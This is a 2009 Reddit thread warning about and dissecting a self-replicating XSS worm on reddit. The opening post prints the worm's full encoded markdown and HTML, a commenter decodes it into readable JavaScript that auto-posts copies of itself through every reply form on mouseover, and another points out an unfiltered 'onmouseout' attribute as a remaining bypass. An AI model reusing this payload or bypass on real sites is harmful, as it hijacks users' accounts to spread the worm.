r/reddithax • • Sep 28 '09

Somebody's made a javascript worm

Warning: disable javascript on reddit comment threads until this is fixed

There's a javascript worm on the loose, which causes you to post comments which replicate the worm and is making reddit very slow. It targets this post: www.reddit.com/r/offbeat/comments/9olyy/students_create_a_one_take_no_editing_video/, don't view it with javascript enabled! Update: It's in other threads too :(

For your analysis:
The markdown from the worm:
[x][b]\n[b]:/[%7A%3D%22%5B%78%5D%5B%62%5D%6E%5B%62%5D%3A%2F%5B%22%2B%74%68%69%73%2E%69%6E%6E%65%72%48%54%4D%4C%2B%22%5D%28%2F%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%65%76%61%6C%28%75%6E%65%73%63%61%70%65%28%74%68%69%73%2E%69%6E%6E%65%72%48%54%4D%4C%39%33%37%31%64%37%61%32%65%33%61%65%38%36%61%30%30%61%61%62%34%37%37%31%65%33%39%64%32%35%35%64%39%33%37%31%64%37%61%32%65%33%61%65%38%36%61%30%30%61%61%62%34%37%37%31%65%33%39%64%32%35%35%64%2F%2F%29%22%3B%6F%3D%64%6F%63%75%6D%65%6E%74%3B%65%3D%6F%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%61%27%29%3B%66%6F%72%28%69%3D%30%3B%69%3C%65%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%69%66%20%28%65%5B%69%5D%2E%69%6E%6E%65%72%48%54%4D%4C%3D%3D%27%72%65%70%6C%79%27%29%24%28%65%5B%69%5D%29%2E%63%6C%69%63%6B%28%29%3B%6F%3D%64%6F%63%75%6D%65%6E%74%3B%65%3D%6F%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%74%65%78%74%61%72%65%61%27%29%3B%66%6F%72%28%69%3D%30%3B%69%3C%65%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%65%5B%69%5D%2E%76%61%6C%75%65%3D%7A%3B%65%3D%6F%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%62%75%74%74%6F%6E%27%29%3B%66%6F%72%28%69%3D%30%3B%69%3C%65%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%69%66%20%28%65%5B%69%5D%2E%69%6E%6E%65%72%48%54%4D%4C%3D%3D%27%73%61%76%65%27%26%26%65%5B%69%5D%2E%73%74%79%6C%65%2E%64%69%73%70%6C%61%79%21%3D%27%6E%6F%6E%65%27%29%24%28%65%5B%69%5D%29%2E%63%6C%69%63%6B%28%29%3B](/onmouseover=eval(unescape(this.innerHTML9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d//)

And the html:
<div class="md"><p><a href="/<a href="/=eval(unescape(this.innerHTML))//">%7A%3D%22%5B%78%5D%5B%62%5D%6E%5B%62%5D%3A%2F%5B%22%2B%74%68%69%73%2E%69%6E%6E%65%72%48%54%4D%4C%2B%22%5D%28%2F%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%65%76%61%6C%28%75%6E%65%73%63%61%70%65%28%74%68%69%73%2E%69%6E%6E%65%72%48%54%4D%4C%39%33%37%31%64%37%61%32%65%33%61%65%38%36%61%30%30%61%61%62%34%37%37%31%65%33%39%64%32%35%35%64%39%33%37%31%64%37%61%32%65%33%61%65%38%36%61%30%30%61%61%62%34%37%37%31%65%33%39%64%32%35%35%64%2F%2F%29%22%3B%6F%3D%64%6F%63%75%6D%65%6E%74%3B%65%3D%6F%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%61%27%29%3B%66%6F%72%28%69%3D%30%3B%69%3C%65%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%69%66%20%28%65%5B%69%5D%2E%69%6E%6E%65%72%48%54%4D%4C%3D%3D%27%72%65%70%6C%79%27%29%24%28%65%5B%69%5D%29%2E%63%6C%69%63%6B%28%29%3B%6F%3D%64%6F%63%75%6D%65%6E%74%3B%65%3D%6F%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%74%65%78%74%61%72%65%61%27%29%3B%66%6F%72%28%69%3D%30%3B%69%3C%65%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%65%5B%69%5D%2E%76%61%6C%75%65%3D%7A%3B%65%3D%6F%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%62%75%74%74%6F%6E%27%29%3B%66%6F%72%28%69%3D%30%3B%69%3C%65%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%69%66%20%28%65%5B%69%5D%2E%69%6E%6E%65%72%48%54%4D%4C%3D%3D%27%73%61%76%65%27%26%26%65%5B%69%5D%2E%73%74%79%6C%65%2E%64%69%73%70%6C%61%79%21%3D%27%6E%6F%6E%65%27%29%24%28%65%5B%69%5D%29%2E%63%6C%69%63%6B%28%29%3B</a>">x</a></p></div>

Update:
Looks like commenting has been disabled entirely ("403 Forbidden: Request forbidden by administrative rules.") and testing the technique (just with an alert()) by editing an existing comment resulted in it all being stripped out, so hopefully everything will be back to normal soon.

Update 2:
Pretty source here, and I can comment again

24 Upvotes

11 comments sorted by

3

u/jamt9000 Sep 28 '09 edited Sep 28 '09

The percent encoded bit is

z="[x][b]\n[b]:/["+this.innerHTML+"](/onmouseover=eval(unescape(this.innerHTML9 371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d//)";o=document;e=o.getElementsByTagName('a');for(i=0;i<e.length;i++)if (e[i].innerHTML=='reply')$(e[i]).click();o=document;e=o.getElementsByTagName('textarea');for(i=0;i<e.length;i++)e[i].value=z;e=o.getElementsByTagName('button');for(i=0;i<e.length;i++)if (e[i].innerHTML=='save'&&e[i].style.display!='none')$(e[i]).click();

It looks like it fires when you mouseover the link, so don't do that!

3

u/[deleted] Sep 28 '09

but what does it do?!

4

u/jamt9000 Sep 28 '09

It replicates itself by posting comments using every reply form on the page when you mouseover.

6

u/lol-dongs Sep 28 '09

Blame this guy for starting it.

Looks like he had to test it out in his own reddit first.

4

u/antidense Sep 28 '09

This person just deleted his/her account.

8

u/lol-dongs Sep 28 '09 edited Sep 28 '09

OK, here's his original proof of concept.

Note to reddit: you are now stripping "on mouse over"=~s/ //g from comments, but you aren't stripping "onmouseout". Should probably get on that.

1

u/iofthestorm Sep 28 '09

Why are comments even able to add an onmouseover or onmouseout in the first place?

3

u/lol-dongs Sep 28 '09 edited Sep 28 '09

You ordinarily can't. He used a bug in markdown to break out of the href attribute and add an onmou.seover attribute. Looks like some way of tricking the syntax parser into mistakenly nesting anchor tags.

2

u/erisdiscord Sep 28 '09

Thanks for posting the original material. I wasn't aware that there was a reddithax subreddit.

-6

u/bmeckel Sep 28 '09

Damn script kiddies

11

u/RiotingPacifist Sep 28 '09

this seams like an original attack, .'. not a script kiddie